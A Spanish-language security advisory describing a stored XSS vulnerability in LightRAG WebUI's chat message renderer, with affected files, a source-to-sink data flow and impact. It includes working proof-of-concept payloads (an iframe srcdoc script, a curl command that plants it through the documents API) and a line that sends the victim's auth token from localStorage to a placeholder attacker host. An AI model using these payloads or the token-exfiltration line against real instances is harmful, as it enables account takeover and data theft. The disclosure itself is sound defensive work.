XSS Almacenado en el Renderizador de Chat de LightRAG WebUI

Resumen

El componente WebUI de LightRAG renderiza el contenido de respuestas del asistente como HTML sin procesar. react-markdown está configurado con rehypePlugins={[rehypeRaw]} y skipHtml={false}, sin ningún sanitizador HTML (rehype-sanitize), sin lista de elementos permitidos y sin urlTransform personalizado. Dado que el contenido de las respuestas se deriva de documentos ingestados por el usuario, un atacante que pueda añadir un único documento puede almacenar un payload HTML/JavaScript que se ejecuta en el navegador de cualquier usuario que lo recupere posteriormente (habitualmente un administrador), lo que conduce al robo del token de autenticación desde localStorage y a la toma de control total de la API. En la configuración por defecto no se requiere autenticación.

Detalles Técnicos

Punto de inyección (sink)

Archivo lightrag_webui/src/components/retrieval/ChatMessage.tsx:

  • La respuesta principal (MessageMarkdown, líneas ~348-351) y el contenido de razonamiento (líneas ~252-272) se renderizan con rehypePlugins={[rehypeRaw, ...]} y skipHtml={false}. El mapa components (líneas ~111-156) solo reestiliza etiquetas de formato seguras (p, h1 a h4, ul, ol, li, code). No existe rehype-sanitize, ni allowedElements/disallowedElements, ni urlTransform personalizado.

  • Segundo punto de inyección: mermaid se inicializa con securityLevel: 'loose' (línea ~433) y el SVG renderizado se inyecta mediante container.innerHTML = svg (línea ~483) junto con bindFunctions(container). El modo 'loose' deshabilita la sanitización de salida de mermaid, por lo que un bloque de tipo mermaid en el contenido de respuesta (etiqueta HTML o directiva click) constituye una ruta adicional de ejecución de scripts.

  • Endurecimiento adicional (sin ejecución de código): KaTeX está configurado con trust: true (líneas ~261/~359). El uso de \href{javascript:...} está bloqueado por React 19, pero \includegraphics{URL} renderiza un elemento <img src> remoto activo, lo que permite la carga de recursos externos arbitrarios desde el navegador de la víctima. Se recomienda establecer trust: false.

Flujo fuente a sink

POST /documents/text o POST /documents/upload almacena el documento. Posteriormente, POST /query lo devuelve (de forma literal cuando only_need_context=true, según lightrag/api/routers/query_routes.py:27; en caso contrario, el LLM lo reproduce). La respuesta se transmite a assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) y es renderizada por el sink descrito anteriormente.

Las defensas integradas de react-markdown NO cubren este caso: sanitiza las URLs de href/src (bloqueando los enlaces javascript:) y React ignora los manejadores de eventos en cadena de texto (descartando <img onerror>), pero elementos sin procesar como <iframe srcdoc="..."> y <svg><script> se renderizan sin modificaciones y se ejecutan.

Prueba de Concepto

Benigna, solo en entorno local. Verificada en el commit f3378a3 (v1.5.5) con react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Verificación rápida por revisión de código (~10 segundos): en ChatMessage.tsx, el componente <ReactMarkdown> que renderiza las respuestas utiliza rehypePlugins={[rehypeRaw, ...]} con skipHtml={false} y sin rehype-sanitize ni lista de elementos permitidos. Según la propia documentación de react-markdown, el uso de rehype-raw sobre entrada no confiable sin rehype-sanitize permite la inyección de HTML. Esa es la vulnerabilidad.

Prueba ejecutable (~2 minutos), reproduce la configuración exacta del renderizador y demuestra la ejecución en un navegador:

bash
mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# guardar el script siguiente como poc.mjs y ejecutar:
node poc.mjs
# abrir el archivo poc.html generado en cualquier navegador (o en modo headless):
#   msedge --headless=new --dump-dom "file:///RUTA/ABSOLUTA/poc.html"

Contenido de poc.mjs:

js
import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Simula una respuesta del asistente construida a partir de un documento ingestado.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// Opciones EXACTAS de ChatMessage.tsx (rehypeRaw + skipHtml:false, sin sanitizador):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body); // observar el <iframe srcDoc="..."> activo, no escapado como HTML

Resultado observado (verificado en Chromium/Edge en modo headless): el script inyectado en srcdoc se ejecuta, el título de la página pasa a ser XSS-EXECUTED y se añade al documento un encabezado rojo con el texto "XSS EXECUTED on this page". Esto confirma que el HTML del atacante presente en el contenido de respuesta se ejecuta. Adicionalmente, <script>, <svg><script> e <iframe srcdoc> sobreviven al renderizado; <img onerror> y los enlaces javascript: son neutralizados por React y react-markdown, por lo que <iframe srcdoc> es el vector más fiable.

Ruta de extremo a extremo ilustrativa (en una instancia activa):

bash
curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

A continuación, se consulta la base de conocimiento desde el WebUI (o mediante POST /query con only_need_context=true). El payload almacenado se renderiza y el script marcador benigno se ejecuta en el navegador del visualizador (el título de la página adopta el valor del origen). Un atacante real sustituiría el marcador benigno por:

js
fetch('//atacante/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))

Esto permite exfiltrar el JWT de la víctima (clave de almacenamiento verificada) y suplantar su identidad frente a la API.

Impacto

XSS almacenado (persistente). Cualquier usuario en un despliegue sin autenticación por defecto, o cualquier colaborador autenticado con privilegios bajos cuando la autenticación está habilitada, puede plantar un documento cuyo contenido ejecute JavaScript arbitrario en el navegador de todos los usuarios que lo recuperen posteriormente. Dado que LightRAG almacena el token de autenticación en localStorage, el script inyectado puede leerlo y operar contra la API como si fuera la víctima, permitiendo exfiltrar, modificar o eliminar la base de conocimiento y el grafo, cargar documentos y escalar a la toma de control total de la cuenta o instancia.